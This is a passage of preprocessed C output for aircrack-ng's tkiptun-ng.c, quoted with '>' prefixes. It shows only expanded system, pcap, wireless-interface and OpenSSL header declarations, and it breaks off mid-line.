((__always_inline__)) __attribute__ ((__artificial__)) int >openat (int __fd, __const char *__path, int __oflag, ...) >{ > if (__builtin_va_arg_pack_len () > 1) > __openat_too_many_args (); > > if (__builtin_constant_p (__oflag)) > { > if ((__oflag & 0100) != 0 && __builtin_va_arg_pack_len () < 1) > { > __openat_missing_mode (); > return __openat_2 (__fd, __path, __oflag); > } > return __openat_alias (__fd, __path, __oflag, __builtin_va_arg_pack ()); > } > > if (__builtin_va_arg_pack_len () < 1) > return __openat_2 (__fd, __path, __oflag); > > return __openat_alias (__fd, __path, __oflag, __builtin_va_arg_pack ()); >} ># 268 "/usr/include/fcntl.h" 2 3 4 > > > ># 60 "tkiptun-ng.c" 2 ># 1 "/usr/include/ctype.h" 1 3 4 ># 30 "/usr/include/ctype.h" 3 4 > ># 48 "/usr/include/ctype.h" 3 4 >enum >{ > _ISupper = ((0) < 8 ? ((1 << (0)) << 8) : ((1 << (0)) >> 8)), > _ISlower = ((1) < 8 ? ((1 << (1)) << 8) : ((1 << (1)) >> 8)), > _ISalpha = ((2) < 8 ? ((1 << (2)) << 8) : ((1 << (2)) >> 8)), > _ISdigit = ((3) < 8 ? ((1 << (3)) << 8) : ((1 << (3)) >> 8)), > _ISxdigit = ((4) < 8 ? ((1 << (4)) << 8) : ((1 << (4)) >> 8)), > _ISspace = ((5) < 8 ? ((1 << (5)) << 8) : ((1 << (5)) >> 8)), > _ISprint = ((6) < 8 ? ((1 << (6)) << 8) : ((1 << (6)) >> 8)), > _ISgraph = ((7) < 8 ? ((1 << (7)) << 8) : ((1 << (7)) >> 8)), > _ISblank = ((8) < 8 ? ((1 << (8)) << 8) : ((1 << (8)) >> 8)), > _IScntrl = ((9) < 8 ? ((1 << (9)) << 8) : ((1 << (9)) >> 8)), > _ISpunct = ((10) < 8 ? ((1 << (10)) << 8) : ((1 << (10)) >> 8)), > _ISalnum = ((11) < 8 ? ((1 << (11)) << 8) : ((1 << (11)) >> 8)) >}; ># 81 "/usr/include/ctype.h" 3 4 >extern __const unsigned short int **__ctype_b_loc (void) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const)); >extern __const __int32_t **__ctype_tolower_loc (void) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const)); >extern __const __int32_t **__ctype_toupper_loc (void) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const)); ># 106 "/usr/include/ctype.h" 3 4 > > > > > > >extern int isalnum (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int isalpha (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int iscntrl (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int isdigit (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int islower (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int isgraph (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int isprint (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int ispunct (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int isspace (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int isupper (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int isxdigit (int) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int tolower (int __c) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int toupper (int __c) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > > > >extern int isblank (int) __attribute__ ((__nothrow__ , __leaf__)); > > ># 152 "/usr/include/ctype.h" 3 4 >extern int isascii (int __c) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int toascii (int __c) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int _toupper (int) __attribute__ ((__nothrow__ , __leaf__)); >extern int _tolower (int) __attribute__ ((__nothrow__ , __leaf__)); ># 216 "/usr/include/ctype.h" 3 4 >extern __inline int >__attribute__ ((__nothrow__ , __leaf__)) tolower (int __c) >{ > return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c; >} > >extern __inline int >__attribute__ ((__nothrow__ , __leaf__)) toupper (int __c) >{ > return __c >= -128 && __c < 256 ? (*__ctype_toupper_loc ())[__c] : __c; >} ># 273 "/usr/include/ctype.h" 3 4 >extern int isalnum_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int isalpha_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int iscntrl_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int isdigit_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int islower_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int isgraph_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int isprint_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int ispunct_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int isspace_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int isupper_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); >extern int isxdigit_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); > >extern int isblank_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int __tolower_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__)); >extern int tolower_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int __toupper_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__)); >extern int toupper_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__)); ># 349 "/usr/include/ctype.h" 3 4 > ># 61 "tkiptun-ng.c" 2 > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 1 3 4 ># 34 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/syslimits.h" 1 3 4 > > > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 1 3 4 ># 169 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 3 4 ># 1 "/usr/include/limits.h" 1 3 4 ># 149 "/usr/include/limits.h" 3 4 ># 1 "/usr/include/bits/posix2_lim.h" 1 3 4 ># 150 "/usr/include/limits.h" 2 3 4 ># 170 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 2 3 4 ># 8 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/syslimits.h" 2 3 4 ># 35 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 2 3 4 ># 63 "tkiptun-ng.c" 2 > ># 1 "/usr/include/netinet/in_systm.h" 1 3 4 ># 26 "/usr/include/netinet/in_systm.h" 3 4 > ># 35 "/usr/include/netinet/in_systm.h" 3 4 >typedef u_int16_t n_short; >typedef u_int32_t n_long; >typedef u_int32_t n_time; > > ># 65 "tkiptun-ng.c" 2 ># 1 "/usr/include/netinet/ip.h" 1 3 4 ># 27 "/usr/include/netinet/ip.h" 3 4 > > >struct timestamp > { > u_int8_t len; > u_int8_t ptr; > > unsigned int flags:4; > unsigned int overflow:4; > > > > > > > u_int32_t data[9]; > }; > >struct iphdr > { > > unsigned int ihl:4; > unsigned int version:4; > > > > > > > u_int8_t tos; > u_int16_t tot_len; > u_int16_t id; > u_int16_t frag_off; > u_int8_t ttl; > u_int8_t protocol; > u_int16_t check; > u_int32_t saddr; > u_int32_t daddr; > > }; ># 108 "/usr/include/netinet/ip.h" 3 4 >struct ip > { > > unsigned int ip_hl:4; > unsigned int ip_v:4; > > > > > > u_int8_t ip_tos; > u_short ip_len; > u_short ip_id; > u_short ip_off; > > > > > u_int8_t ip_ttl; > u_int8_t ip_p; > u_short ip_sum; > struct in_addr ip_src, ip_dst; > }; > > > > >struct ip_timestamp > { > u_int8_t ipt_code; > u_int8_t ipt_len; > u_int8_t ipt_ptr; > > unsigned int ipt_flg:4; > unsigned int ipt_oflw:4; > > > > > > u_int32_t data[9]; > }; ># 301 "/usr/include/netinet/ip.h" 3 4 > ># 66 "tkiptun-ng.c" 2 ># 1 "/usr/include/netinet/tcp.h" 1 3 4 ># 92 "/usr/include/netinet/tcp.h" 3 4 >struct tcphdr > { > u_int16_t source; > u_int16_t dest; > u_int32_t seq; > u_int32_t ack_seq; > > u_int16_t res1:4; > u_int16_t doff:4; > u_int16_t fin:1; > u_int16_t syn:1; > u_int16_t rst:1; > u_int16_t psh:1; > u_int16_t ack:1; > u_int16_t urg:1; > u_int16_t res2:2; ># 121 "/usr/include/netinet/tcp.h" 3 4 > u_int16_t window; > u_int16_t check; > u_int16_t urg_ptr; >}; > > >enum >{ > TCP_ESTABLISHED = 1, > TCP_SYN_SENT, > TCP_SYN_RECV, > TCP_FIN_WAIT1, > TCP_FIN_WAIT2, > TCP_TIME_WAIT, > TCP_CLOSE, > TCP_CLOSE_WAIT, > TCP_LAST_ACK, > TCP_LISTEN, > TCP_CLOSING >}; ># 179 "/usr/include/netinet/tcp.h" 3 4 >enum tcp_ca_state >{ > TCP_CA_Open = 0, > TCP_CA_Disorder = 1, > TCP_CA_CWR = 2, > TCP_CA_Recovery = 3, > TCP_CA_Loss = 4 >}; > >struct tcp_info >{ > u_int8_t tcpi_state; > u_int8_t tcpi_ca_state; > u_int8_t tcpi_retransmits; > u_int8_t tcpi_probes; > u_int8_t tcpi_backoff; > u_int8_t tcpi_options; > u_int8_t tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4; > > u_int32_t tcpi_rto; > u_int32_t tcpi_ato; > u_int32_t tcpi_snd_mss; > u_int32_t tcpi_rcv_mss; > > u_int32_t tcpi_unacked; > u_int32_t tcpi_sacked; > u_int32_t tcpi_lost; > u_int32_t tcpi_retrans; > u_int32_t tcpi_fackets; > > > u_int32_t tcpi_last_data_sent; > u_int32_t tcpi_last_ack_sent; > u_int32_t tcpi_last_data_recv; > u_int32_t tcpi_last_ack_recv; > > > u_int32_t tcpi_pmtu; > u_int32_t tcpi_rcv_ssthresh; > u_int32_t tcpi_rtt; > u_int32_t tcpi_rttvar; > u_int32_t tcpi_snd_ssthresh; > u_int32_t tcpi_snd_cwnd; > u_int32_t tcpi_advmss; > u_int32_t tcpi_reordering; > > u_int32_t tcpi_rcv_rtt; > u_int32_t tcpi_rcv_space; > > u_int32_t tcpi_total_retrans; >}; > > > > > >struct tcp_md5sig >{ > struct sockaddr_storage tcpm_addr; > u_int16_t __tcpm_pad1; > u_int16_t tcpm_keylen; > u_int32_t __tcpm_pad2; > u_int8_t tcpm_key[80]; >}; ># 67 "tkiptun-ng.c" 2 > ># 1 "version.h" 1 ># 69 "tkiptun-ng.c" 2 ># 1 "pcap.h" 1 ># 49 "pcap.h" >struct pcap_file_header >{ > unsigned int magic; > unsigned short version_major; > unsigned short version_minor; > int thiszone; > unsigned int sigfigs; > unsigned int snaplen; > unsigned int linktype; >}; > >struct pcap_pkthdr >{ > int tv_sec; > int tv_usec; > unsigned int caplen; > unsigned int len; >}; > >struct ivs2_filehdr >{ > unsigned short version; >}; > >struct ivs2_pkthdr >{ > unsigned short flags; > unsigned short len; >}; ># 70 "tkiptun-ng.c" 2 ># 1 "osdep/osdep.h" 1 ># 14 "osdep/osdep.h" ># 1 "osdep/byteorder.h" 1 ># 15 "osdep/osdep.h" 2 ># 1 "osdep/packed.h" 1 ># 16 "osdep/osdep.h" 2 > > > > > > >struct tx_info { > unsigned int ti_rate; >}; > >struct rx_info { > uint64_t ri_mactime; > int32_t ri_power; > int32_t ri_noise; > uint32_t ri_channel; > uint32_t ri_freq; > uint32_t ri_rate; > uint32_t ri_antenna; >} __attribute__ ((__packed__)); > > > > > > >struct wif { > int (*wi_read)(struct wif *wi, unsigned char *h80211, int len, > struct rx_info *ri); > int (*wi_write)(struct wif *wi, unsigned char *h80211, int len, > struct tx_info *ti); > int (*wi_set_channel)(struct wif *wi, int chan); > int (*wi_get_channel)(struct wif *wi); > int (*wi_set_freq)(struct wif *wi, int freq); > int (*wi_get_freq)(struct wif *wi); > void (*wi_close)(struct wif *wi); > int (*wi_fd)(struct wif *wi); > int (*wi_get_mac)(struct wif *wi, unsigned char *mac); > int (*wi_set_mac)(struct wif *wi, unsigned char *mac); > int (*wi_set_rate)(struct wif *wi, int rate); > int (*wi_get_rate)(struct wif *wi); > int (*wi_set_mtu)(struct wif *wi, int mtu); > int (*wi_get_mtu)(struct wif *wi); > int (*wi_get_monitor)(struct wif *wi); > > void *wi_priv; > char wi_interface[64]; >}; > > >extern struct wif *wi_open(char *iface); >extern int wi_read(struct wif *wi, unsigned char *h80211, int len, > struct rx_info *ri); >extern int wi_write(struct wif *wi, unsigned char *h80211, int len, > struct tx_info *ti); >extern int wi_set_channel(struct wif *wi, int chan); >extern int wi_get_channel(struct wif *wi); >extern int wi_set_freq(struct wif *wi, int freq); >extern int wi_get_freq(struct wif *wi); >extern void wi_close(struct wif *wi); >extern char *wi_get_ifname(struct wif *wi); >extern int wi_get_mac(struct wif *wi, unsigned char *mac); >extern int wi_set_mac(struct wif *wi, unsigned char *mac); >extern int wi_get_rate(struct wif *wi); >extern int wi_set_rate(struct wif *wi, int rate); >extern int wi_get_monitor(struct wif *wi); >extern int wi_get_mtu(struct wif *wi); >extern int wi_set_mtu(struct wif *wi, int mtu); > > > > >extern struct wif *wi_open_osdep(char *iface); > > > > >extern int wi_fd(struct wif *wi); > > >extern struct wif *wi_alloc(int sz); >extern void *wi_priv(struct wif *wi); > > >extern int get_battery_state(void); > > > > > >struct tif { > int (*ti_read)(struct tif *ti, void *buf, int len); > int (*ti_write)(struct tif *ti, void *buf, int len); > int (*ti_fd)(struct tif *ti); > char *(*ti_name)(struct tif *ti); > int (*ti_set_mtu)(struct tif *ti, int mtu); > int (*ti_get_mtu)(struct tif *ti); > int (*ti_set_ip)(struct tif *ti, struct in_addr *ip); > int (*ti_set_mac)(struct tif *ti, unsigned char *mac); > void (*ti_close)(struct tif *ti); > > void *ti_priv; >}; > >extern struct tif *ti_open(char *iface); > > >extern struct tif *ti_alloc(int sz); >extern void *ti_priv(struct tif *ti); > > >extern char *ti_name(struct tif *ti); >extern int ti_set_mtu(struct tif *ti, int mtu); >extern int ti_get_mtu(struct tif *ti); >extern void ti_close(struct tif *ti); >extern int ti_fd(struct tif *ti); >extern int ti_read(struct tif *ti, void *buf, int len); >extern int ti_write(struct tif *ti, void *buf, int len); >extern int ti_set_mac(struct tif *ti, unsigned char *mac); >extern int ti_set_ip(struct tif *ti, struct in_addr *ip); ># 71 "tkiptun-ng.c" 2 ># 1 "crypto.h" 1 ># 12 "crypto.h" ># 1 "/usr/include/openssl/hmac.h" 1 3 4 ># 61 "/usr/include/openssl/hmac.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 62 "/usr/include/openssl/hmac.h" 2 3 4 > > > > > ># 1 "/usr/include/openssl/evp.h" 1 3 4 ># 66 "/usr/include/openssl/evp.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 67 "/usr/include/openssl/evp.h" 2 3 4 > > > ># 1 "/usr/include/openssl/ossl_typ.h" 1 3 4 ># 58 "/usr/include/openssl/ossl_typ.h" 3 4 ># 1 "/usr/include/openssl/e_os2.h" 1 3 4 ># 56 "/usr/include/openssl/e_os2.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 57 "/usr/include/openssl/e_os2.h" 2 3 4 ># 59 "/usr/include/openssl/ossl_typ.h" 2 3 4 ># 79 "/usr/include/openssl/ossl_typ.h" 3 4 >typedef struct asn1_string_st ASN1_INTEGER; >typedef struct asn1_string_st ASN1_ENUMERATED; >typedef struct asn1_string_st ASN1_BIT_STRING; >typedef struct asn1_string_st ASN1_OCTET_STRING; >typedef struct asn1_string_st ASN1_PRINTABLESTRING; >typedef struct asn1_string_st ASN1_T61STRING; >typedef struct asn1_string_st ASN1_IA5STRING; >typedef struct asn1_string_st ASN1_GENERALSTRING; >typedef struct asn1_string_st ASN1_UNIVERSALSTRING; >typedef struct asn1_string_st ASN1_BMPSTRING; >typedef struct asn1_string_st ASN1_UTCTIME; >typedef struct asn1_string_st ASN1_TIME; >typedef struct asn1_string_st ASN1_GENERALIZEDTIME; >typedef struct asn1_string_st ASN1_VISIBLESTRING; >typedef struct asn1_string_st ASN1_UTF8STRING; >typedef struct asn1_string_st ASN1_STRING; >typedef int ASN1_BOOLEAN; >typedef int ASN1_NULL; > > >typedef struct ASN1_ITEM_st ASN1_ITEM; >typedef struct asn1_pctx_st ASN1_PCTX; ># 114 "/usr/include/openssl/ossl_typ.h" 3 4 >typedef struct bignum_st BIGNUM; >typedef struct bignum_ctx BN_CTX; >typedef struct bn_blinding_st BN_BLINDING; >typedef struct bn_mont_ctx_st BN_MONT_CTX; >typedef struct bn_recp_ctx_st BN_RECP_CTX; >typedef struct bn_gencb_st BN_GENCB; > >typedef struct buf_mem_st BUF_MEM; > >typedef struct evp_cipher_st EVP_CIPHER; >typedef struct evp_cipher_ctx_st EVP_CIPHER_CTX; >typedef struct env_md_st EVP_MD; >typedef struct env_md_ctx_st EVP_MD_CTX; >typedef struct evp_pkey_st EVP_PKEY; > >typedef struct evp_pkey_asn1_method_st EVP_PKEY_ASN1_METHOD; > >typedef struct evp_pkey_method_st EVP_PKEY_METHOD; >typedef struct evp_pkey_ctx_st EVP_PKEY_CTX; > >typedef struct dh_st DH; >typedef struct dh_method DH_METHOD; > >typedef struct dsa_st DSA; >typedef struct dsa_method DSA_METHOD; > >typedef struct rsa_st RSA; >typedef struct rsa_meth_st RSA_METHOD; > >typedef struct rand_meth_st RAND_METHOD; > >typedef struct ecdh_method ECDH_METHOD; >typedef struct ecdsa_method ECDSA_METHOD; > >typedef struct x509_st X509; >typedef struct X509_algor_st X509_ALGOR; >typedef struct X509_crl_st X509_CRL; >typedef struct x509_crl_method_st X509_CRL_METHOD; >typedef struct x509_revoked_st X509_REVOKED; >typedef struct X509_name_st X509_NAME; >typedef struct X509_pubkey_st X509_PUBKEY; >typedef struct x509_store_st X509_STORE; >typedef struct x509_store_ctx_st X509_STORE_CTX; > >typedef struct pkcs8_priv_key_info_st PKCS8_PRIV_KEY_INFO; > >typedef struct v3_ext_ctx X509V3_CTX; >typedef struct conf_st CONF; > >typedef struct store_st STORE; >typedef struct store_method_st STORE_METHOD; > >typedef struct ui_st UI; >typedef struct ui_method_st UI_METHOD; > >typedef struct st_ERR_FNS ERR_FNS; > >typedef struct engine_st ENGINE; >typedef struct ssl_st SSL; >typedef struct ssl_ctx_st SSL_CTX; > >typedef struct X509_POLICY_NODE_st X509_POLICY_NODE; >typedef struct X509_POLICY_LEVEL_st X509_POLICY_LEVEL; >typedef struct X509_POLICY_TREE_st X509_POLICY_TREE; >typedef struct X509_POLICY_CACHE_st X509_POLICY_CACHE; > >typedef struct AUTHORITY_KEYID_st AUTHORITY_KEYID; >typedef struct DIST_POINT_st DIST_POINT; >typedef struct ISSUING_DIST_POINT_st ISSUING_DIST_POINT; >typedef struct NAME_CONSTRAINTS_st NAME_CONSTRAINTS; > > > > > >typedef struct crypto_ex_data_st CRYPTO_EX_DATA; > >typedef int CRYPTO_EX_new(void *parent, void *ptr, CRYPTO_EX_DATA *ad, > int idx, long argl, void *argp); >typedef void CRYPTO_EX_free(void *parent, void *ptr, CRYPTO_EX_DATA *ad, > int idx, long argl, void *argp); >typedef int CRYPTO_EX_dup(CRYPTO_EX_DATA *to, CRYPTO_EX_DATA *from, void *from_d, > int idx, long argl, void *argp); > >typedef struct ocsp_req_ctx_st OCSP_REQ_CTX; >typedef struct ocsp_response_st OCSP_RESPONSE; >typedef struct ocsp_responder_id_st OCSP_RESPID; ># 71 "/usr/include/openssl/evp.h" 2 3 4 > ># 1 "/usr/include/openssl/symhacks.h" 1 3 4 ># 58 "/usr/include/openssl/symhacks.h" 3 4 ># 1 "/usr/include/openssl/e_os2.h" 1 3 4 ># 56 "/usr/include/openssl/e_os2.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 57 "/usr/include/openssl/e_os2.h" 2 3 4 ># 59 "/usr/include/openssl/symhacks.h" 2 3 4 ># 73 "/usr/include/openssl/evp.h" 2 3 4 > > ># 1 "/usr/include/openssl/bio.h" 1 3 4 ># 62 "/usr/include/openssl/bio.h" 3 4 ># 1 "/usr/include/openssl/e_os2.h" 1 3 4 ># 56 "/usr/include/openssl/e_os2.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 57 "/usr/include/openssl/e_os2.h" 2 3 4 ># 63 "/usr/include/openssl/bio.h" 2 3 4 > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdarg.h" 1 3 4 ># 68 "/usr/include/openssl/bio.h" 2 3 4 > ># 1 "/usr/include/openssl/crypto.h" 1 3 4 ># 122 "/usr/include/openssl/crypto.h" 3 4 ># 1 "/usr/include/openssl/e_os2.h" 1 3 4 ># 56 "/usr/include/openssl/e_os2.h" 3 4 ># 1 "/usr/include/openssl/opensslconf.h" 1 3 4 ># 57 "/usr/include/openssl/e_os2.h" 2 3 4 ># 123 "/usr/include/openssl/crypto.h" 2 3 4 > > > > > ># 1 "/usr/include/openssl/stack.h" 1 3 4 ># 66 "/usr/include/openssl/stack.h" 3 4 >typedef struct stack_st > { > int num; > char **data; > int sorted; > > int num_alloc; > int (*comp)(const void *, const void *); > } _STACK; > > > > >int sk_num(const _STACK *); >void *sk_value(const _STACK *, int); > >void *sk_set(_STACK *, int, void *); > >_STACK *sk_new(int (*cmp)(const void *, const void *)); >_STACK *sk_new_null(void); >void sk_free(_STACK *); >void sk_pop_free(_STACK *st, void (*func)(void *)); >int sk_insert(_STACK *sk, void *data, int where); >void *sk_delete(_STACK *st, int loc); >void *sk_delete_ptr(_STACK *st, void *p); >int sk_find(_STACK *st, void *data); >int sk_find_ex(_STACK *st, void *data); >int sk_push(_STACK *st, void *data); >int sk_unshift(_STACK *st, void *data); >void *sk_shift(_STACK *st); >void *sk_pop(_STACK *st); >void sk_zero(_STACK *st); >int (*sk_set_cmp_func(_STACK *sk, int (*c)(const void *, const void *))) > (const void *, const void *); >_STACK *sk_dup(_STACK *st); >void sk_sort(_STACK *st); >int sk_is_sorted(const _STACK *st); ># 129 "/usr/include/openssl/crypto.h" 2 3 4 ># 1 "/usr/include/openssl/safestack.h" 1 3 4 ># 113 "/usr/include/openssl/safestack.h" 3 4 >typedef char *OPENSSL_STRING; > >typedef const char *OPENSSL_CSTRING; ># 125 "/usr/include/openssl/safestack.h" 3 4 >struct stack_st_OPENSSL_STRING { _STACK stack; }; > > > > > >typedef void *OPENSSL_BLOCK; >struct stack_st_OPENSSL_BLOCK { _STACK stack; }; ># 130 "/usr/include/openssl/crypto.h" 2 3 4 ># 1 "/usr/include/openssl/opensslv.h" 1 3 4 ># 131 "/usr/include/openssl/crypto.h" 2 3 4 ># 171 "/usr/include/openssl/crypto.h" 3 4 >typedef struct openssl_item_st > { > int code; > void *value; > size_t value_size; > size_t *value_length; > } OPENSSL_ITEM; ># 256 "/usr/include/openssl/crypto.h" 3 4 >typedef struct > { > int references; > struct CRYPTO_dynlock_value *data; > } CRYPTO_dynlock; ># 283 "/usr/include/openssl/crypto.h" 3 4 >typedef struct bio_st BIO_dummy; > >struct crypto_ex_data_st > { > struct stack_st_void *sk; > int dummy; > }; >struct stack_st_void { _STACK stack; }; > > > > >typedef struct crypto_ex_data_func_st > { > long argl; > void *argp; > CRYPTO_EX_new *new_func; > CRYPTO_EX_free *free_func; > CRYPTO_EX_dup *dup_func; > } CRYPTO_EX_DATA_FUNCS; > >struct stack_st_CRYPTO_EX_DATA_FUNCS { _STACK stack; }; ># 356 "/usr/include/openssl/crypto.h" 3 4 >int CRYPTO_mem_ctrl(int mode); >int CRYPTO_is_mem_check_on(void); ># 384 "/usr/include/openssl/crypto.h" 3 4 >const char *SSLeay_version(int type); >unsigned long SSLeay(void); > >int OPENSSL_issetugid(void); > > >typedef struct st_CRYPTO_EX_DATA_IMPL CRYPTO_EX_DATA_IMPL; > >const CRYPTO_EX_DATA_IMPL *CRYPTO_get_ex_data_implementation(void); > >int CRYPTO_set_ex_data_implementation(const CRYPTO_EX_DATA_IMPL *i); > >int CRYPTO_ex_data_new_class(void); > >int CRYPTO_get_ex_new_index(int class_index, long argl, void *argp, > CRYPTO_EX_new *new_func, CRYPTO_EX_dup *dup_func, > CRYPTO_EX_free *free_func); > > >int CRYPTO_new_ex_data(int class_index, void *obj, CRYPTO_EX_DATA *ad); >int CRYPTO_dup_ex_data(int class_index, CRYPTO_EX_DATA *to, > CRYPTO_EX_DATA *from); >void CRYPTO_free_ex_data(int class_index, void *obj, CRYPTO_EX_DATA *ad); > > >int CRYPTO_set_ex_data(CRYPTO_EX_DATA *ad, int idx, void *val); >void *CRYPTO_get_ex_data(const CRYPTO_EX_DATA *ad,int idx); > > >void CRYPTO_cleanup_all_ex_data(void); > >int CRYPTO_get_new_lockid(char *name); > >int CRYPTO_num_locks(void); >void CRYPTO_lock(int mode, int type,const char *file,int line); >void CRYPTO_set_locking_callback(void (*func)(int mode,int type, > const char *file,int line)); >void (*CRYPTO_get_locking_callback(void))(int mode,int type,const char *file, > int line); >void CRYPTO_set_add_lock_callback(int (*func)(int *num,int mount,int type, > const char *file, int line)); >int (*CRYPTO_get_add_lock_callback(void))(int *num,int mount,int type, > const char *file,int line); > > >typedef struct crypto_threadid_st > { > void *ptr; > unsigned long val; > } CRYPTO_THREADID; > >void CRYPTO_THREADID_set_numeric(CRYPTO_THREADID *id, unsigned long val); >void CRYPTO_THREADID_set_pointer(CRYPTO_THREADID *id, void *ptr); >int CRYPTO_THREADID_set_callback(void (*threadid_func)(CRYPTO_THREADID *)); >void (*CRYPTO_THREADID_get_callback(void))(CRYPTO_THREADID *); >void CRYPTO_THREADID_current(CRYPTO_THREADID *id); >int CRYPTO_THREADID_cmp(const CRYPTO_THREADID *a, const CRYPTO_THREADID *b); >void CRYPTO_THREADID_cpy(CRYPTO_THREADID *dest, const CRYPTO_THREADID *src); >unsigned long CRYPTO_THREADID_hash(const CRYPTO_THREADID *id); > >void CRYPTO_set_id_callback(unsigned long (*func)(void)); >unsigned long (*CRYPTO_get_id_callback(void))(void); >unsigned long CRYPTO_thread_id(void); > > >const char *CRYPTO_get_lock_name(int type); >int CRYPTO_add_lock(int *pointer,int amount,int type, const char *file, > int line); > >int CRYPTO_get_new_dynlockid(void); >void CRYPTO_destroy_dynlockid(int i); >struct CRYPTO_dynlock_value *CRYPTO_get_dynlock_value(int i); >void CRYPTO_set_dynlock_create_callback(struct CRYPTO_dynlock_value *(*dyn_create_function)(const char *file, int line)); >void CRYPTO_set_dynlock_lock_callback(void (*dyn_lock_function)(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line)); >void CRYPTO_set_dynlock_destroy_callback(void (*dyn_destroy_function)(struct CRYPTO_dynlock_value *l, const char *file, int line)); >struct CRYPTO_dynlock_value *(*CRYPTO_get_dynlock_create_callback(void))(const char *file,int line); >void (*CRYPTO_get_dynlock_lock_callback(void))(int mode, struct CRYPTO_dynlock_value *l, const char *file,int line); >void (*CRYPTO_get_dynlock_destroy_callback(void))(struct CRYPTO_dynlock_value *l, const char *file,int line); > > > >int CRYPTO_set_mem_functions(void *(*m)(size_t),void *(*r)(void *,size_t), void (*f)(void *)); >int CRYPTO_set_locked_mem_functions(void *(*m)(size_t), void (*free_func)(void *)); >int CRYPTO_set_mem_ex_functions(void *(*m)(size_t,const char *,int), > void *(*r)(void *,size_t,const char *,int), > void (*f)(void *)); >int CRYPTO_set_locked_mem_ex_functions(void *(*m)(size_t,const char *,int), > void (*free_func)(void *)); >int CRYPTO_set_mem_debug_functions(void (*m)(void *,int,const char *,int,int), > void (*r)(void *,void *,int,const char *,int,int), > void (*f)(void *,int), > void (*so)(long), > long (*go)(void)); >void CRYPTO_get_mem_functions(void *(**m)(size_t),void *(**r)(void *, size_t), void (**f)(void *)); >void CRYPTO_get_locked_mem_functions(void *(**m)(size_t), void (**f)(void *)); >void CRYPTO_get_mem_ex_functions(void *(**m)(size_t,const char *,int), > void *(**r)(void *, size_t,const char *,int), > void (**f)(void *)); >void CRYPTO_get_locked_mem_ex_functions(void *(**m)(size_t,const char *,int), > void (**f)(void *)); >void CRYPTO_get_mem_debug_functions(void (**m)(void *,int,const char *,int,int), > void (**r)(void *,void *,int,const char *,int,int), > void (**f)(void *,int), > void (**so)(long), > long (**go)(void)); > >void *CRYPTO_malloc_locked(int num, const char *file, int line); >void CRYPTO_free_locked(void *ptr); >void *CRYPTO_malloc(int num, const char *file, int line); >char *CRYPTO_strdup(const char *str, const char *file, int line); >void CRYPTO_free(void *ptr); >void *CRYPTO_realloc(void *addr,int num, const char *file, int line); >void *CRYPTO_realloc_clean(void *addr,int old_num,int num,const char *file, > int line); >void *CRYPTO_remalloc(void *addr,int num, const char *file, int line); > >void OPENSSL_cleanse(void *ptr, size_t len); > >void CRYPTO_set_mem_debug_options(long bits); >long CRYPTO_get_mem_debug_options(void); > > > >int CRYPTO_push_info_(const char *info, const char *file, int line); >int CRYPTO_pop_info(void); >int CRYPTO_remove_all_info(void); ># 519 "/usr/include/openssl/crypto.h" 3 4 >void CRYPTO_dbg_malloc(void *addr,int num,const char *file,int line,int before_p); >void CRYPTO_dbg_realloc(void *addr1,void *addr2,int num,const char *file,int line,int before_p); >void CRYPTO_dbg_free(void *addr,int before_p); ># 530 